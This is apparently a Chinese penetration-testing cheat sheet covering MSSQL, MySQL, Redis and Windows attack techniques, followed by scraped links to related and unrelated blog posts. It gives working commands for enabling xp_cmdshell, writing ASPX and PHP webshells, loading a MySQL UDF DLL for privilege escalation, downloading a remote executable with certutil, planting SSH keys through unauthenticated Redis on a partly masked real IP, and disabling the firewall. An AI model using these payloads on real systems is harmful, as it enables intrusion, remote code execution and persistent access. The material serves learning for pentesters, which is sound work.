4、数据库安全基础

4.1、MSSQL

数据库角色权限
sysadmin:执行SQL Server中的任何动作

db_owner:可以执行数据库中技术所有动作的用户

public:数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。
数据库身份验证
SQL Server中的验证方式
Windows身份验证模式
SQL Server和Windows身份验证模式(混合模式)
常用命令
  • xp_cmdshell 执行命令
exec xp_cmdshell 'dir'
  • sp_configure 开启扩展
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
  • 文件上传
1、通过SQL搜索指定文件

1> exec xp_cmdshell 'dir /s C:\ /b | findstr "Files.aspx"';
2> go
+-------------------+
| output |
+-------------------+
| C:\web\Files.aspx |
| NULL |
+-------------------+
(2 rows affected) 2、通过SQL写webshell到网站目录,DOS转义问题 1> exec xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["z"],"unsafe");%^> >> C:\web\hello.aspx';
2> go
+--------+
| output |
+--------+
| NULL |
+--------+
(1 rows affected) 3、文件下载 # 本地开启Web服务
python -m SimpleHTTPServer 80
# 远程服务器执行下载
1> exec xp_cmdshell "certutil -urlcache -f -split http://172.18.0.24/3389.exe";
2> go
+------------------------------------+
| output |
+------------------------------------+
| **** 联机 **** |
| 000000 ... |
| 02c8fe |
| CertUtil: -URLCache 命令成功完成。 |
| NULL |
+------------------------------------+
(5 rows affected)
  • 加解密web.config
aspnet_regiis -pef "加密的字段" "web路径不带\"
aspnet_regiis -pdf "解密的字段" "web路径不带\"

4.2、MySQL

获取Shell

获取方法有两种

  • 上传一个用户自定义方法udf,执行系统命令
  • mysql+web的形式,into outfile写文件

常用语句

# 显示用户名
select user();
# 显示数据库版本
select @@version;
# 显示导出目录路径
select @@secure_file_priv;
# 将数据导出到某个文件
select 1 into outfile '/var/www/html/sql/1.txt';
select "<?=system($_GET['z']);?>" into outfile '/var/www/html/sql/z.php'
select "<?=eval($_REQUEST['z']);?>" into outfile '/var/www/html/sql/z1.php'

导出UDF.DLL

# 1、MySQL5 新建plugin目录
select @@basedir; //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 # 2、利用网络共享导出UDF select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 3、十六进制导出 // 转换为hex函数
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// 导入
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 4、创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。 create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 5、使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。 # 转换为base64
select to_base64(load_file('D:\\udf.dll')); # base64导出为DLL
select from_base64("Base64编码") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
条件

1、into outfile需要MySQL的file权限

2、MySQL5.7以后,secure_file_priv只能通过mysqld.cnf配置文件编辑。默认不配置,outfile写文件无权限。

3、读写文件时候,文件操作的用户是mysql:mysql,所以需要MySQL具有一个可写入的目录权限。

4.3、Redis

漏洞测试

1)本地生成秘钥

root@GanDolf:~# ssh-keygen  -t rsa

2)将公钥写入一个文件

root@GanDolf:~# cd /root/.ssh/

root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

3)连接redis写入文件

root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

OK
root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx 210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh 4)连接服务器
root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx

5、操作系统安全基础

搜索文件

dir /s C:\ /b | findstr "Files.aspx"

批量查找文件

for /r c:\game %i in (xxxx.txt) do @echo %i

windows命令查看文件

type C:\\flag.txt

关闭防火墙

netsh firewall set opmode mode=disable

下载文件(windows2008)

certutil -urlcache -f -split http://172.18.0.24/3389.exe";

下载的方式

Windows下各种一行代码的download

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/?tdsourcetag=s_pcqq_aiomsg

如何挖掘新的可持续后门技巧

http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks

6、中间件安全基础

日志分析

管理员后台

admin、manage、login、system

后门相关

help.php、fuck.php、f4ck.php

7、渗透实际操作

  • 端口扫描

  • 口令测试:admin/admin、admin/admin888、admin/123456、root/root等

  • 目录扫描

  • web安全漏洞测试:文件上传、文件下载、base64编码、常见配置文件路径

  • 提权:数据库提权

    • MySQL:outfile
select <?php phpinfo();?> outfile D:\shell.php
    • MSSQL:开启XP_CMDSHELL
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
  • 连接远程桌面
    • 关闭防火墙
netsh firewall set opmode mode=disable

【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)的更多相关文章

  1. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

  2. SQL Server 数据库编程技巧

    Ø  简介 本文主要介绍 SQL Server 数据库在平常的开发中,可能会涉及到的编程技巧,主要包含以下内容: 1.   解决 SQL Server 不支持 127.0.0.1 登录 2.   查询 ...

  3. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  4. 快速了解 Robot Operating System(ROS) 机器人操作系统

     http://www.ros.org/ 关于ROS About ROS http://www.ros.org/about-ros/ 机器人操作系统(ROS)是用于编写机器人软件的灵活框架.目的在简化 ...

  5. DBCC CHECKDB 遭遇Operating system error 112(failed to retrieve text for this error. Reason: 15105) encountered

    我们一个SQL Server服务器在执行YourSQLDBa的作业YourSQLDba_FullBackups_And_Maintenance时遇到了错误: Exec YourSQLDba.Maint ...

  6. The World's Only Advanced Operating System

    The World's Only Advanced Operating System

  7. Unable to open the physical file xxxx. Operating system error 2

    在新UAT服务器上,需要将tempdb放置在SSD(固态硬盘)上.由于SSD(固态硬盘)特性,所以tempdb的文件只能放置在D盘下面,而不能是D盘下的某一个目录下面. ALTER  DATABASE ...

  8. CREATE FILE encountered operating system error 5(Access is denied.)

    这篇博文主要演示"CREATE FILE encountered operating system error 5(Access is denied.)"错误如出现的原因(当然只是 ...

  9. Linux启动报错missing operating system

    用UltraISO制作了一个Red Hat Enterprise Linux Server release 5.7系统的U盘启动盘,然后在一台PC上安装,由于安装过程中在干别的事情,有些选项没有细看. ...

随机推荐

  1. 清华集训2015-Day 2

    校内测试做到了,于是就把解题报告发出来. 简单回路 一个 \(n\times m\) 的方格纸,有 \(k\) 个障碍点.\(q\) 次询问,每次询问 \((x,y)\) ,问有多少条简单回路经过 \ ...

  2. What Kind of Friends Are You? ZOJ - 3960(ZheJiang Province Contest)

    怎么说呢...我能说我又过了一道水题? emm... 问题描述: 给定 n 个待确定名字的 Friends 和 q 个问题.已知 c 个 Friends 的名字. 对于第 i 个问题,有  个 Fri ...

  3. Cure HDU - 5879(预处理+技巧)

    Cure Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submis ...

  4. Day22-Django之Form组件验证

    1. Django里面的Form专门用来做验证. 用Form创建一个类,把用户发来的数据放到request.POST里面发给这个类,这个类会帮忙做验证. 返回3个结果:是否验证成功了,所有的正确信息, ...

  5. 一种KEIL中定义过的变量在使用中提示未定义的情况

    [环境] > KEIL5.25 > win10 > @2018-4-23 [问题] 头文件互包含导致的错误(使用了另一文件的类型定义) 文件<fileA.h> <f ...

  6. activity 与 service 之间的通信

    activity和service通信:通过binder 举个我实际项目中的例子:在service中下载更新应用 首先是下载更新apk的service: public class UpdateVersi ...

  7. bzoj 2300 : [HAOI2011]防线修建

    set动态维护凸包 #include<iostream> #include<cstdio> #include<cstring> #include<algori ...

  8. bzoj 4568: [Scoi2016]幸运数字

    4568: [Scoi2016]幸运数字 Time Limit: 60 Sec  Memory Limit: 256 MBSubmit: 848  Solved: 336[Submit][Status ...

  9. [VS2012] 无法查找或打开 PDB 文件

    http://www.cnblogs.com/southernduck/archive/2012/11/23/2784966.html 用VS2012调试一个控制台程序的时候,出现一下提示信息: “w ...

  10. 微软工程师主讲的SqlServer2005视频教程

    http://www.cnblogs.com/slcfhr/archive/2008/11/24/1340283.html SQL Server 2005盛宴系列之一:SQL Server 2005产 ...